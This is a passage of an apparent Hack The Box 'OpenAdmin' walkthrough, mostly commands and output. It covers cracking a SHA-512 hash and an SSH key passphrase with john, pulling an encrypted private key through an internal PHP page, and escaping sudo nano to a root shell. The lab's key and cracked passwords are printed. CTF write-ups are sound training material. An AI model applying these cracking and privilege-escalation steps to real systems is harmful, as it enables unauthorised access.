root@kali:~/Desktop/htb/OpenAdmin# ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Jan 28 00:51:40 UTC 2020

  System load:  0.25              Processes:             421
  Usage of /:   49.4% of 7.81GB   Users logged in:       1
  Memory usage: 33%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jan 28 00:48:30 2020 from 10.10.14.167
jimmy@openadmin:~$

Still going straightforward, we visit /var/www/internal/ folder, which is under the ownership of jimmy user, that we have now accessed. The folder contain 3 php files : index.php which simply contains a form that sends a POST request and verify if the username is ‘jimmy’ and the password is some sha-512 hashed password, then redirects to main.php when the credentials are good. main.php simply echo’s the id_rsa of the user joanna on the box which we will have to pivot to.

index.php

[...snip...]
      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> 
[...snip...]

main.php

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

We start by cracking the sha-512 hash :

root@kali:~/Desktop/htb/OpenAdmin# cat hash                                                                                                                   
jimmy:00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1                        
root@kali:~/Desktop/htb/OpenAdmin# john --format=raw-sha512 --wordlist=/usr/share/wordlists/rockyou.txt hash
[...snip...]
sing default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=2
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 25.63% (ETA: 20:01:49) 0g/s 1751Kp/s 1751Kc/s 1751KC/s shafous..shadowfreee
[...snip...]
root@kali:~/Desktop/htb/OpenAdmin# john --show hash
jimmy:Revealed

We can then send a POST request with the correct data to our page. However it is not hosted in the main directory… A lookup of listening port shows us that port 52846 is open so we send our request there :

jimmy@openadmin:/var/www/internal$ netstat -ano                                                                                                               
Active Internet connections (servers and established)                                                                                                         
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer                                                                         
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      off (0.00/0/0)                                                                
tcp        0      0 127.0.0.1:52846         0.0.0.0:*               LISTEN      off (0.00/0/0)                                                                
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      off (0.00/0/0)                                                                
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)   
[...snip...]
jimmy@openadmin:/var/www/internal$ curl -d "username=jimmy&password=Revealed" -X POST http://localhost:52846/main.php                                         
<pre>-----BEGIN RSA PRIVATE KEY-----                                                                                                                          
Proc-Type: 4,ENCRYPTED                                                                                                                                        
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D                                                                                                        
                                                                                                                                                              
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8                                                                                              
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO                                                                                              
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE                                                                                              
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
jimmy@openadmin:/var/www/internal$

The next step is to crack this ssh key and to get is passphrase, then we can login as joanna user :

root@kali:~/Desktop/htb/OpenAdmin# python ssh2john.py id_rsa
id_rsa:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d

root@kali:~/Desktop/htb/OpenAdmin# john id_rsa_to_crack --format=SSH --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 15.75% (ETA: 18:45:29) 0g/s 809092p/s 809092c/s 809092C/s zumiez33..zumiewan
0g 0:00:00:05 30.40% (ETA: 18:45:26) 0g/s 893846p/s 893846c/s 893846C/s prinny7..prinni123
0g 0:00:00:08 47.95% (ETA: 18:45:26) 0g/s 865528p/s 865528c/s 865528C/s jlb2qe..jlb2180
bloodninjas      (id_rsa)
1g 0:00:00:15 DONE (2020-01-27 18:45) 0.06281g/s 900860p/s 900860c/s 900860C/sa6_123..*7¡Vamos!
Session completed

We then login as joanna with and quickly find our way to get root:

root@kali:~/Desktop/htb/OpenAdmin# ssh -i id_rsa joanna@10.10.10.171
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Jan 28 01:15:03 UTC 2020

  System load:  0.21              Processes:             238
  Usage of /:   49.2% of 7.81GB   Users logged in:       1
  Memory usage: 33%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Jan  2 21:12:40 2020 from 10.10.14.3
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv
joanna@openadmin:~$

Since we know we can execute /bin/nano as root, we can easily escape the shell, you can look more into gtfobins here.

sudo /bin/nano /opt/priv
^R^X
reset; sh 1>&0 2>&0
# id
uid=0(root) gid=0(root) groups=0(root)

And we owned the box!

Thanks for reading!